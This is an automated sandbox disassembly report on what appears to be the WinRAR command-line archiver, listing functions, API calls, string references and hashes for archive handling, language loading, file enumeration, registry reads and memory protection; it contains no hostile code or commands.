Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID:
String ID: *.%ls$*?.$+$7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx$EML$ERR$LOG$NUL$OFF$SFX$SND$VER$default.sfx$rar.log$stdin$stdin
API String ID: 0-1628410872
Opcode ID: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction ID: 6fc675bb074a8ec6e452606ab1e32cd46027313483f60b2f9b84593f31f74bd4
Opcode Fuzzy Hash: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction Fuzzy Hash: 0CC2C363B4C182A1EB64BF2489461BFAE95AF42784FE98035CA4E463C5DFEDE544C370

Function 00007FF702C01884 Relevance: 24.1, APIs: 5, Strings: 8, Instructions: 1374COMMON

Download Yara Rule

Strings

.ext, xrefs: 00007FF702C018C0
,6, xrefs: 00007FF702C02F83
%s%s , xrefs: 00007FF702C02A46
q:, xrefs: 00007FF702C019DA
BK, xrefs: 00007FF702C019C5
exe, xrefs: 00007FF702C01897
rar, xrefs: 00007FF702C018AA
sfx, xrefs: 00007FF702C01884

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID:
String ID: %s%s $.ext$exe$rar$sfx$,6$BK$q:
API String ID: 0-1660254149
Opcode ID: 9786eab97e9e7573f4f21c10de3a27352e165464d21764c3c99cef1fe973803f
Instruction ID: fb90b430eb90c97f6a6af5c68a45e30a661abd76dbd8d950561f54019df44aba
Opcode Fuzzy Hash: 9786eab97e9e7573f4f21c10de3a27352e165464d21764c3c99cef1fe973803f
Instruction Fuzzy Hash: EFE2BF27A08AC2A5EB20EB25CC841FFABA5FF45788F894035DA4D87796DFB9D544C310

Function 00007FF702C448CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF702C44AE0: FreeLibrary.KERNEL32(?,?,00000000,00007FF702C1CC90), ref: 00007FF702C44AF5

GetModuleFileNameW.KERNEL32(?,?,?,00007FF702C37E7D), ref: 00007FF702C4492E
GetVersionExW.KERNEL32(?,?,?,00007FF702C37E7D), ref: 00007FF702C4496A
LoadLibraryExW.KERNELBASE(?,?,?,00007FF702C37E7D), ref: 00007FF702C44993
LoadLibraryW.KERNEL32(?,?,?,00007FF702C37E7D), ref: 00007FF702C4499F

Strings

rarlng.dll, xrefs: 00007FF702C4493A

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: Library$Load$FileFreeModuleNameVersion
String ID: rarlng.dll
API String ID: 2520153904-1675521814
Opcode ID: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction ID: fb2767e4aa0d7f5de9725b882683837963de13ff9b17e321609fac14f33fb847
Opcode Fuzzy Hash: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction Fuzzy Hash: 3D31AF33A18A42A6FB28AB21EC413EBAB65FF04784FD04035EA4D42A84DFBDD545C720

Function 00007FF702C246EC Relevance: 7.6, APIs: 5, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF702C24620,?,00000000,?,00007FF702C47A8C), ref: 00007FF702C24736
FindFirstFileW.KERNEL32(?,00000000,?,?,00007FF702C24620,?,00000000,?,00007FF702C47A8C), ref: 00007FF702C2476B
GetLastError.KERNEL32(?,00000000,?,?,00007FF702C24620,?,00000000,?,00007FF702C47A8C), ref: 00007FF702C2477A
FindNextFileW.KERNELBASE(?,?,00000000,?,?,00007FF702C24620,?,00000000,?,00007FF702C47A8C), ref: 00007FF702C247A4
GetLastError.KERNEL32(?,00000000,?,?,00007FF702C24620,?,00000000,?,00007FF702C47A8C), ref: 00007FF702C247B2

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction ID: 3204191e360afb9c66b48b12332a8e10a03f69e9634a1d07a62dd305f400201f
Opcode Fuzzy Hash: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction Fuzzy Hash: 4741A673608A8166DB28AB25E8402EAA760FF49BB4F804331EA7D477C5DFACD159C710

Function 00007FF702C1901C Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FF702C1904D
CryptGenRandom.ADVAPI32 ref: 00007FF702C19061
CryptReleaseContext.ADVAPI32 ref: 00007FF702C19074

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction ID: a056d579800d101b2fa6dcacfcb9ae312ca5bf08f98a65b2f41d1063e5235bc0
Opcode Fuzzy Hash: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction Fuzzy Hash: 3A016D26B0865092E700AB16A85432AAB61EFC5FD0F588031DE4D43B68CFBDD946C740

Function 00007FF702C0B540 Relevance: 2.0, APIs: 1, Instructions: 490COMMON

Download Yara Rule

APIs

CharToOemA.USER32 ref: 00007FF702C0B900

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: Char
String ID:
API String ID: 751630497-0
Opcode ID: ddc78f3efe1ff8920d6ce08f229d314778f69db7ccd8907a5870e3e9de4cedf5
Instruction ID: a7549fb53cb43df036f1d79d9187c6f62f344bbc07e7bfe54e7877bd138acacc
Opcode Fuzzy Hash: ddc78f3efe1ff8920d6ce08f229d314778f69db7ccd8907a5870e3e9de4cedf5
Instruction Fuzzy Hash: 2B228123A08682A6E714EF30D8801FFBBA0FF50748F944535DA8D96699DFB8E945C760

Function 00007FF702C2AE10 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF702C2B0C7

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c22c5c0b8979b7c17b88d60497a3e69d5a18a8edfd679724e5113879f46e49dc
Instruction ID: 41f66b43ab50baa03b922f0d86f73ec92aedac2e935927959a00d1abd7828b29
Opcode Fuzzy Hash: c22c5c0b8979b7c17b88d60497a3e69d5a18a8edfd679724e5113879f46e49dc
Instruction Fuzzy Hash: 0471C233A0568546D708EF26E8052EE7791FB88B98F044235DF5D8B399DFB8E491C7A0

Function 00007FF702C43EA8 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 491
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF702C43EF9
GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,?,00007FF702C43E8F,?,00007FF702C37E90), ref: 00007FF702C43F14
snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF702C443C6

Strings

DIRECTION, xrefs: 00007FF702C44243
MENU, xrefs: 00007FF702C44235
STRINGS, xrefs: 00007FF702C44219
*messages***, xrefs: 00007FF702C44050
\, xrefs: 00007FF702C44519
,, xrefs: 00007FF702C443FB
*messages***, xrefs: 00007FF702C44080
RTL, xrefs: 00007FF702C4437A
$%s:, xrefs: 00007FF702C4439E
DIALOG, xrefs: 00007FF702C44227
@%s:, xrefs: 00007FF702C443A5

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: FileModuleNamesnprintfwcschr
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$\
API String ID: 602362809-1645646101
Opcode ID: 67572efc140f081c2830ab2ac114563b4482ba77154e748fab887036bccabc43
Instruction ID: 644ffc6ead4ba0149d6c74b9384ee0be3881d6398dda28edada75000ac615010
Opcode Fuzzy Hash: 67572efc140f081c2830ab2ac114563b4482ba77154e748fab887036bccabc43
Instruction Fuzzy Hash: 7722A023A18A82A5EB34EB15DC402BBAB62FF44784FD04135EA4E87695EFFCE544C350

Function 00007FF702C14FD0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF702C15043
wcschr.LIBVCRUNTIME ref: 00007FF702C15129

Strings

.part, xrefs: 00007FF702C150A5
stdin, xrefs: 00007FF702C152C2
FUADPXETK, xrefs: 00007FF702C1503C
.rar, xrefs: 00007FF702C1508E
.rar, xrefs: 00007FF702C150E6
AFUMD, xrefs: 00007FF702C15122

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: wcschr
String ID: .part$.rar$.rar$AFUMD$FUADPXETK$stdin
API String ID: 1497570035-1281034975
Opcode ID: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction ID: ac5b42b42ac7ec7120651e4e3ebe7e5b3e9bc8e162e53abae3775508712fdb21
Opcode Fuzzy Hash: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction Fuzzy Hash: 35C15163B18682A4EB25BA25CC521FF9A51AF877C4FC44131DA4E5A7DADFECE501C320

Function 00007FF702C47F24 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF702C4805C

Part of subcall function 00007FF702C4B3F0: GetSystemDirectoryW.KERNEL32(00000000,00007FF702C47F72), ref: 00007FF702C4B41E

GetProcAddressForCaller.KERNELBASE ref: 00007FF702C47F88
GetProcAddress.KERNEL32 ref: 00007FF702C47FA3

Strings

Crypt32.dll, xrefs: 00007FF702C47F66
CryptUnprotectMemory failed, xrefs: 00007FF702C48053
CryptProtectMemory, xrefs: 00007FF702C47F7E
CryptUnprotectMemory, xrefs: 00007FF702C47F95
CryptProtectMemory failed, xrefs: 00007FF702C48009

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction ID: d58bd4db819258c19524c58b128c39a932f8a06a6917b4c12257925e2cf53f16
Opcode Fuzzy Hash: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction Fuzzy Hash: EF415B26A08A92A1EB45FB12AC04537EFA2AF45BD4F980631DC2D07794DFFDE446C360

Function 00007FF702C5B0FC Relevance: 13.6, APIs: 9, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF702C5B110

Part of subcall function 00007FF702C5AA8C: __isa_available_init.LIBCMT ref: 00007FF702C5AAA9
Part of subcall function 00007FF702C5AA8C: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF702C5AAAE

__scrt_fastfail.LIBCMT ref: 00007FF702C5B11E

Part of subcall function 00007FF702C5B52C: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF702C5B548
Part of subcall function 00007FF702C5B52C: RtlCaptureContext.KERNEL32 ref: 00007FF702C5B571
Part of subcall function 00007FF702C5B52C: RtlLookupFunctionEntry.KERNEL32 ref: 00007FF702C5B58B
Part of subcall function 00007FF702C5B52C: RtlVirtualUnwind.KERNEL32 ref: 00007FF702C5B5CC
Part of subcall function 00007FF702C5B52C: IsDebuggerPresent.KERNEL32 ref: 00007FF702C5B620
Part of subcall function 00007FF702C5B52C: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF702C5B641
Part of subcall function 00007FF702C5B52C: UnhandledExceptionFilter.KERNEL32 ref: 00007FF702C5B64C

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF702C5B12C
__scrt_fastfail.LIBCMT ref: 00007FF702C5B143
__scrt_release_startup_lock.LIBCMT ref: 00007FF702C5B1A0
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF702C5B1B6
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF702C5B1E6
__scrt_is_managed_app.LIBCMT ref: 00007FF702C5B21B
__scrt_uninitialize_crt.LIBCMT ref: 00007FF702C5B239

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__isa_available_init__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 552178382-0
Opcode ID: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction ID: 12b608eeb27ed9d81eee662cb967363212fb412013df4d3ea008f1682f0340be
Opcode Fuzzy Hash: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction Fuzzy Hash: D3314C23A0856361EB54BB259C153BBEF91AF45788FC40434EA0D4729BDFACE884C371

Function 00007FF702C44774 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,00007FF702C4495D,?,?,?,00007FF702C37E7D), ref: 00007FF702C447DB
RegQueryValueExW.ADVAPI32(?,?,?,?,?,00007FF702C4495D,?,?,?,00007FF702C37E7D), ref: 00007FF702C44831
ExpandEnvironmentStringsW.KERNEL32(?,?,?,?,?,00007FF702C4495D,?,?,?,00007FF702C37E7D), ref: 00007FF702C44853
RegCloseKey.ADVAPI32(?,?,?,?,?,00007FF702C4495D,?,?,?,00007FF702C37E7D), ref: 00007FF702C448A6

Strings

Software\WinRAR\General, xrefs: 00007FF702C447CD
LanguageFolder, xrefs: 00007FF702C44806

Memory Dump Source

Source File: 00000044.00000002.1923395362.00007FF702C01000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF702C00000, based on PE: true

Associated: 00000044.00000002.1923361859.00007FF702C00000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923504077.00007FF702C88000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923540470.00007FF702C89000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C8A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C94000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702C9E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923574782.00007FF702CA6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923717407.00007FF702CA8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000044.00000002.1923755863.00007FF702CAE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_7ff702c00000_rar.jbxd

Similarity

API ID: CloseEnvironmentExpandOpenQueryStringsValue
String ID: LanguageFolder$Software\WinRAR\General
API String ID: 1800380464-3408810217
Opcode ID: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction ID: 2423bb8c01f9b26fb8d906c710766e1209eab9ec44755b28ef72c256e74c43bf
Opcode Fuzzy Hash: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction Fuzzy Hash: B1319223718A8165EB60EB21EC106BBAB51FF847A4F805231EE4D47B99EFECD144C710

Function 00007FF702C34398 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,00000800,00000000,00000000,00007FF702C338CB,?,?,?,00007FF702C341EC), ref: 00007FF702C343D1
RegQueryValueExW.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF702C338CB,?,?,?,00007FF702C341EC), ref: 00007FF702C34402
RegCloseKey.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF702C338CB,?,?,?,00007FF702C341EC), ref: 00007FF702C3440D
GetModuleFileNameW.KERNEL32(?,?,?,?,00000800,00000000,00000000,00007FF702C338CB,?,?,?,00007FF702C341EC), ref: 00007FF702C3443E

Strings

